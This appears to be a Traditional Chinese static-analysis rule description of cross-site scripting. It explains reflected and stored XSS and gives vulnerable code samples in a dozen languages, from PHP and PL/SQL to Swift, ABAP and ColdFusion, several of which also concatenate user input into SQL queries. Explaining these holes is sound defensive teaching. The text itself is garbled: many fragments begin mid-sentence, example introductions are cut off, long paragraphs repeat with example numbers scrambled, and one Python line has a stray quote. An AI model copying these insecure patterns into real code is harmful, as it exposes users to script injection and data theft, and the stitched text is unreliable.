name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並將 ID 顯示給使用者。
<?php
$eid = $_GET['eid'];
...
?>
...
<?php
echo "Employee ID: $eid";
?>
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。
...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee Name: ' || name || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並向使用者顯示。
...
-- Assume QUERY_STRING looks like EID=EmployeeID
eid := SUBSTR(OWA_UTIL.get_cgi_env('QUERY_STRING'), 5);
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('Employee ID: ' || eid || '');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。eid，並顯示給使用者。
req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + eid)
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + row["emp"]')
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並顯示給使用者。
eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end
Example 1 所述，如果 eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 2 中的的 Rack::Request#params()，會同時看到 GET 和 POST 參數，所以可能容易受到各種類型的攻擊，而不是只會使惡意程式碼附加到 URL 而已。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。eid，並向使用者顯示。
def getEmployee = Action { implicit request =>
val employee = getEmployeeFromDB()
val eid = employee.id
if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。
...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...
inputTextField 中的文字只包含標準英數字元，這個範例中的程式碼便會正常運作而不會有問題。如果 inputTextField 中的文字包括中繼字元或原始程式碼，那麼網路瀏覽器就會像顯示 HTTP 回應那樣，可能會將輸入當成程式碼來執行。myapp://input_to_the_application) 並呼叫之。然後 URL 中不可信賴的資料便會被用來在 UIWebView 元件中攻擊 HTML 輸出。
...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...
Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從使用者可控制的 UI 元件讀取資料，並在 HTTP 回應中傳回資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 所述，目標應用程式以外的來源會使用目標應用程式的自訂 URL 架構提出 URL 要求，之後來自此 URL 要求的未驗證資料會被當作信賴的資料讀回到應用程式，並會包含在動態內容中。
...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & objADORecordSet("name")
objADORecordSet.MoveNext
Wend
...
name 值正常運作時，此程式碼也會正常運作，但如果該值不正常運作時，則會完全無法避免程式碼遭受攻擊。這個程式碼之所以較不危險，是因為 name 值是從資料庫中讀取的，且顯然是由應用程式管理這些值的內容。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。eid，並向使用者顯示。
...
eid = Request("eid")
Response.Write "Employee ID:" & eid & "<br/>"
..
Example 1 所述，如果 eid 只包含標準英數字元，這個程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。Example 1 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。cl_http_utility=>escape_html) 可防止部分，但不是所有的 Cross-Site Scripting 攻擊。根據資料出現的內容，以 HTML 編碼的基本 <、>、& 和 "，以及以 XML 編碼的 <、>、&、" 和 ' 以外的字元，可能會有中繼意義。依賴類似編碼函數模組等同於使用安全性較差的拒絕清單來防止 Cross-Site Scripting 攻擊，並且可能會允許攻擊者插入隨後會在瀏覽器中執行的惡意程式碼。因為並非隨時都可以準確識別其中靜態顯示資料的內容，所以即使套用編碼，Fortify Secure Coding Rulepack 還是會報告 Cross-Site Scripting 發現，並將其顯示為 Cross-Site Scripting: Poor Validation 問題。eid，使用 HTML 加以編碼並顯示給使用者。
...
eid = request->get_form_field( 'eid' ).
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = eid
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_eid.
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( e_eid ).
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.
SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
CALL METHOD cl_http_utility=>escape_html
EXPORTING
UNESCAPED = itab_employees-name
KEEP_NUM_CHAR_REF = '-'
RECEIVING
ESCAPED = e_name.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( e_name ).
...
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。eid，使用 HTML 加以編碼並顯示給使用者。
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + escape(eid);
...
eid 只包含標準英數字元，則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + escape(name);
}
Example 1 所述，name 的值正常運作時，此程式碼也會正常運作，但如果該值不正常運作，則會完全無法避免程式碼遭受攻擊。此外，這個程式碼之所以看似不那麼危險，是因為 name 的值是從資料庫中讀取的，而顯然這些內容是由應用程式管理的。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 2 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。
...
variable = Database.query('SELECT Name FROM Contact WHERE id = ID');
...
<div onclick="this.innerHTML='Hello {!HTMLENCODE(variable)}'">Click me!</div>
HTMLENCODE，此程式碼也不會適當驗證資料庫所提供的資料，並且容易遭到 XSS 攻擊。發生這種情況的原因是，variable 內容由不同機制 (HTML 和 Javascript 解析器) 剖析，因此必須進行兩次編碼。這樣一來，攻擊者可以在使用者的網頁瀏覽器中執行惡意指令，而無需與受害者進行互動 (類似於 Reflected XSS)。此類攻擊稱為 Stored XSS (或 Persistent XSS)，可能非常難以偵測，因為資料是以間接方式提供給易受攻擊的函數，並且由於影響多個使用者的可能性，此類攻擊的影響會更強烈。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。username，並向使用者顯示。
<script>
document.write('{!HTMLENCODE($CurrentPage.parameters.username)}')
</script>
username 包含中繼字元或來源程式碼，則會由網頁瀏覽器執行。此外，在此範例中，使用 HTMLENCODE 不足以避免 XSS 攻擊，因為變數由 Javascript 解析器進行處理。Example 1 所述，資料庫或其他資料儲存區會向應用程式提供將包含在動態內容中的危險資料。從攻擊者的角度來看，儲存惡意內容的最佳位置是可供所有使用者 (尤其是擁有較高權限的使用者) 存取的區域，這些使用者更有可能會處理敏感資訊或執行關鍵作業。Example 2 所述，會從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者將危險內容傳遞至易受攻擊的 Web 應用程式，然後回傳給使用者並透過其瀏覽器執行時，會出現 Reflected XSS。傳遞惡意內容最常用的機制就是，將惡意內容當作參數包含在公開發佈的 URL 中，或者以電子郵件方式直接傳送給受害者。透過此方式修改的 URL 是許多釣魚架構的核心，其中攻擊者會誘騙受害者造訪該 URL。當網站回傳內容給使用者後便會加以執行，並且可執行多個動作，例如轉送隱私、敏感的資訊、在受害者電腦上執行未經授權的作業等。
<script runat="server">
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
...
</script>
Login 和 EmployeeID 是定義如下的表單控制項：範例 2：以下的 ASP.NET 程式碼片段執行了與
<form runat="server">
<asp:TextBox runat="server" id="Login"/>
...
<asp:Label runat="server" id="EmployeeID"/>
</form>
Example 1 相同的功能，只不過是以程式設計方式進行。
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Server.HtmlEncode(Login.Text);
Login 只包含標準英數字元，則這些範例中的程式碼都會正確地執行。如果 Login 中有包含中繼字元或來源程式碼中的值，那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。
<script runat="server">
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
</script>
EmployeeName 是定義如下的表單控制項：範例 4：同樣的，以下 ASP.NET 程式碼片段的功能與之前的
<form runat="server">
...
<asp:Label id="EmployeeName" runat="server">
...
</form>
Example 3 相當，不過卻是以程式設計方式來實作所有的表單元素。
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = Server.HtmlEncode(name);
Example 1 和 Example 2 所述，name 值正常運作時，這些程式碼便會正確執行，不然就會完全無法避免攻擊。此外，這些程式碼範例之所以較不危險，是因為 name 值是從資料庫中讀取的，其內容顯然都由應用程式管理。但是，如果 name 的值是從使用者提供的資料中產生，那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證，那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS)，其性質特別狡詐，因為間接的資料儲存方式而難以辨別該威脅，且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript，所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。Example 1 和 Example 2 所述，會直接從 HTTP 要求中讀取資料，並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式，接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行，這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是，將惡意內容當作參數隱藏在公開發表的 URL 中，或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心，攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後，就會執行這些內容，並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者，或者執行其他惡意活動。Example 3 和 Example 4 所述，應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式，並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現：攻擊者把危險內容插入到之後會讀取的資料儲存區中，並包含在動態內容中。從攻擊者的角度來看，插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限，或者會與敏感資料進行互動，且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容，攻擊者可能會代替使用者去執行需要權限許可的作業，或者取得存取使用者專屬敏感資料的權限。text 參數，使用 HTML 加以編碼，並將該參數顯示在 Script 標籤之間的警示方塊中。
"<script>alert('<CFOUTPUT>HTMLCodeFormat(#Form.text#)</CFOUTPUT>')</script>";
